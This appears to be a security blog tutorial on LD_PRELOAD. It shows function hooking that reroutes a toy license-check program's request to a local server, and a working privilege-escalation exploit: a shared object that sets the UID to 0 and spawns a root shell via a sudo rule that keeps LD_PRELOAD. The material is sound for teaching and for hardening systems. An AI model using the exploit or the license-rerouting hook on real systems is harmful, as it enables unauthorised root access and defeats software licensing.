LD_PRELOAD is a Linux environment variable that can be used to specify a shared object file that will be loaded before other shared objects.
We can take advantage of this functionality to perform dynamic function hooking, and in some instances perform privilege escalation.
Function Hooking
By loading a shared object with our own code using LD_PRELOAD we can function intercept calls from a program. The library specified in the LD_PRELOAD environment variable will even take precedence over glibc.
To understand this better, let’s start with a vulnerable application. The application just downloads a file from a webserver, and if a checks if the license key is set to an accepted value;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | #include <stdio.h> #include <stdlib.h> #include <string.h> #include <curl/curl.h> struct MemoryStruct { char *memory; size_t size; }; static size_t WriteMemoryCallback( void *contents, size_t size, size_t nmemb, void *userp) { size_t realsize = size * nmemb; struct MemoryStruct *mem = ( struct MemoryStruct *)userp; char *ptr = realloc (mem->memory, mem->size + realsize + 1); if (!ptr) { printf ( "not enough memory (realloc returned NULL)\n" ); return 0; } mem->memory = ptr; memcpy (&(mem->memory[mem->size]), contents, realsize); mem->size += realsize; mem->memory[mem->size] = 0; return realsize; } int main( void ) { CURL *curl_handle; CURLcode res; struct MemoryStruct chunk; printf ( "Connecting to server: http://authserver.local:8000/license_check\n" ); chunk.memory = malloc (1); chunk.size = 0; curl_global_init(CURL_GLOBAL_ALL); curl_handle = curl_easy_init(); curl_easy_setopt(curl_handle, CURLOPT_URL, "http://authserver.local:8000/license_check" ); curl_easy_setopt(curl_handle, CURLOPT_WRITEFUNCTION, WriteMemoryCallback); curl_easy_setopt(curl_handle, CURLOPT_WRITEDATA, ( void *)&chunk); curl_easy_setopt(curl_handle, CURLOPT_USERAGENT, "libcurl-agent/1.0" ); res = curl_easy_perform(curl_handle); if (res != CURLE_OK) { fprintf (stderr, "curl_easy_perform() failed: %s\n" , curl_easy_strerror(res)); } else { char license[] = "b336e639-4241-4068-bdd8-f6d1a955d6e3\n" ; printf ( "Server Response: %s" , chunk.memory); if ( strcmp (chunk.memory,license) == 0) { printf ( "Valid license. Please proceed...\n\n" ); } else { printf ( "Invalid license. Exiting!\n\n" ); } } curl_easy_cleanup(curl_handle); free (chunk.memory); curl_global_cleanup(); return 0; } |
Compile the application using gcc. Using the ‘-z lazy’ option allows us to trace function calls with ltrace.
1 | gcc license_check.c -o license_check -lcurl -z lazy |
Running the application shows it connecting to a local server;
1 2 3 4 | . /license_check Connecting to server: http: //authserver . local :8000 /license_check Server Response: b336e639-4241-4068-bdd8-f6d1a955d6e3 Valid license. Please proceed... |
To hook the function, you need to know which library functions are called by the application. If this is being done from a black box perspective (without access to the our code), you can use objdump to list functions in the binary;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | objdump -T . /license_check . /license_check : file format elf64-x86-64 DYNAMIC SYMBOL TABLE: 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) printf 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_easy_strerror 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_easy_init 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_easy_cleanup 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.34) __libc_start_main 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.14) memcpy 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_easy_perform 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.4) __stack_chk_fail 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_global_cleanup 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) free 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) malloc 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) fprintf 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) puts 0000000000000000 DF *UND* 0000000000000000 (GLIBC_2.2.5) realloc 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_easy_setopt 0000000000000000 DF *UND* 0000000000000000 (CURL_GNUTLS_3) curl_global_init 0000000000000000 w D *UND* 0000000000000000 Base _ITM_deregisterTMCloneTable 0000000000000000 w D *UND* 0000000000000000 Base __gmon_start__ 0000000000000000 w D *UND* 0000000000000000 Base _ITM_registerTMCloneTable 0000000000000000 w DF *UND* 0000000000000000 (GLIBC_2.2.5) __cxa_finalize 00000000000040a0 g DO .bss 0000000000000008 (GLIBC_2.2.5) stderr |
Alternatively, you may be able to use ltrace to determine which functions are being called in real time;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | ltrace ./license_check malloc(1) = 0x561e2b0fd140 curl_global_init(3, 0, 0x561e2b0f7010, 0) = 0 curl_easy_init(0x7fb086155020, 0, 0, 2) = 0x561e2b113d30 curl_easy_setopt(0x561e2b113d30, 0x2712, 0x561e2ab58038, 0x2712) = 0 curl_easy_perform(0x561e2b113d30, 0x561e2ab58067, 0xfffffffffefe0000, 0 <unfinished ...> realloc(0x561e2b0fd140, 38) = 0x561e2b11c200 memcpy(0x561e2b11c200, "b336e639-4241-4068-bdd8-f6d1a955"..., 37) = 0x561e2b11c200 <... curl_easy_perform resumed> ) = 0 strcmp("b336e639-4241-4068-bdd8-f6d1a955"..., "b336e639-4241-4068-bdd8-f6d1a955"...) = 0 puts("Valid license. Please proceed..."...Valid license. Please proceed... ) = 34 curl_easy_cleanup(0x561e2b113d30, 1, 1, 0x7fb0862d5aaf) = 0 free(0x561e2b11c200) = <void> curl_global_cleanup(7, 0x561e2b0f7010, 0x561b4af3dcdc, 1) = 0 +++ exited (status 0) +++ |
So, using objdump and ltrace we can see the function curl_easy_perform in libcurl is being called.
Next, we just need to write a shared library that implements the same function signatures we have seen in the code. In this instance, we will hook curl_easy_perform from libcurl and getaddrinfo from glibc. Doing this, we can force the application to make the HTTP requests to a different web server.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | #define _GNU_SOURCE #include <dlfcn.h> #include <fnmatch.h> #include <netdb.h> #include <stdbool.h> #include <stdio.h> #include <curl/curl.h> typeof(getaddrinfo) *real_getaddrinfo = NULL; typeof(curl_easy_perform) *real_curl_easy_perform = NULL; // Runs during shared library load. // Uses dlsym() to get pointer to function addresses in memory. void __attribute__((constructor)) init( void ) { real_getaddrinfo = dlsym(RTLD_NEXT, "getaddrinfo" ); real_curl_easy_perform = dlsym(RTLD_NEXT, "curl_easy_perform" ); } int getaddrinfo( const char *node, const char *service, const struct addrinfo *hints, struct addrinfo **res) { printf ( "[+] Host: %s\n" ,node); return real_getaddrinfo(node,service,hints,res); } CURLcode curl_easy_perform(CURL *easy_handle){ curl_easy_setopt(easy_handle, CURLOPT_URL, "http://127.0.0.1/license_check" ); CURLcode res = real_curl_easy_perform(easy_handle); char *ct; curl_easy_getinfo(easy_handle, CURLINFO_EFFECTIVE_URL, &ct); printf ( "[+] URL: %s\n" , ct); return res; } |
Compile the shared library with;
1 | gcc -Wall -fPIC -shared -o evil.so evil.c -lcurl |
Running the application shows the HTTP request has been rerouted to our local server.
1 2 3 4 | LD_PRELOAD=./evil.so ./license_check [+] New URL: http://127.0.0.1:8000/license_check Server Response: b336e639-4241-4068-bdd8-f6d1a955d6e3 Valid license. Please proceed... |
There are a lot of useful things that can be done with this technique, including;
- Selectively blocking network communication to certain domains or IP addresses (such as advertising servers)
- Re-routing communications, in applications that are not proxy aware
- Using it to study the application behaviour, similar to ltrace/strace output
- For fuzzing applications from the perspective of a malicious shared object
Privilege Escalation
If sudo detects the real user ID (ruid) differs from their effective user ID (euid), the LD_PRELOAD parameter will be ignored. The only exception to this is if env_keep explictly allows LD_PRELOAD in the /etc/sudoers configurations.
Below shows a vulnerable sudo configuration where LD_PRELOAD is allowed;
1 2 3 4 5 6 7 8 | user@epsilon:~$ sudo -l Matching Defaults entries for user on epsilon: env_reset, mail_badpass, secure_path= /usr/local/sbin \: /usr/local/bin \: /usr/sbin \: /usr/bin \: /sbin \: /bin \: /snap/bin , use_pty, env_keep+=LD_PRELOAD User user may run the following commands on epsilon: (ALL : ALL) ALL (root) NOPASSWD: /usr/bin/nmap |
To exploit this configuration, we just need to create a shared object to set our UID to 0 and run bash;
1 2 3 4 5 6 7 8 9 | #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv( "LD_PRELOAD" ); setresuid(0,0,0); system ( "/bin/bash -p" ); } |
Compile with;
1 | gcc -fPIC -shared -nostartfiles -o privesc.so privesc.c |
Executing sudo with the LD_PRELOAD environment variable set to our shared object shows we become the root user.
1 2 3 | user@epsilon:~$ sudo LD_PRELOAD=. /privesc .so /usr/bin/nmap root@epsilon: /home/user # id uid=0(root) gid=0(root) groups =0(root) |
In Conclusion
LD_PRELOAD is unlikely to be useful for privilege escalation, due to the unusual configuration parameters that would need to be set to make exploitation possible.
However it does prove very useful for function hooking, particularly for commercial software where no source code is available.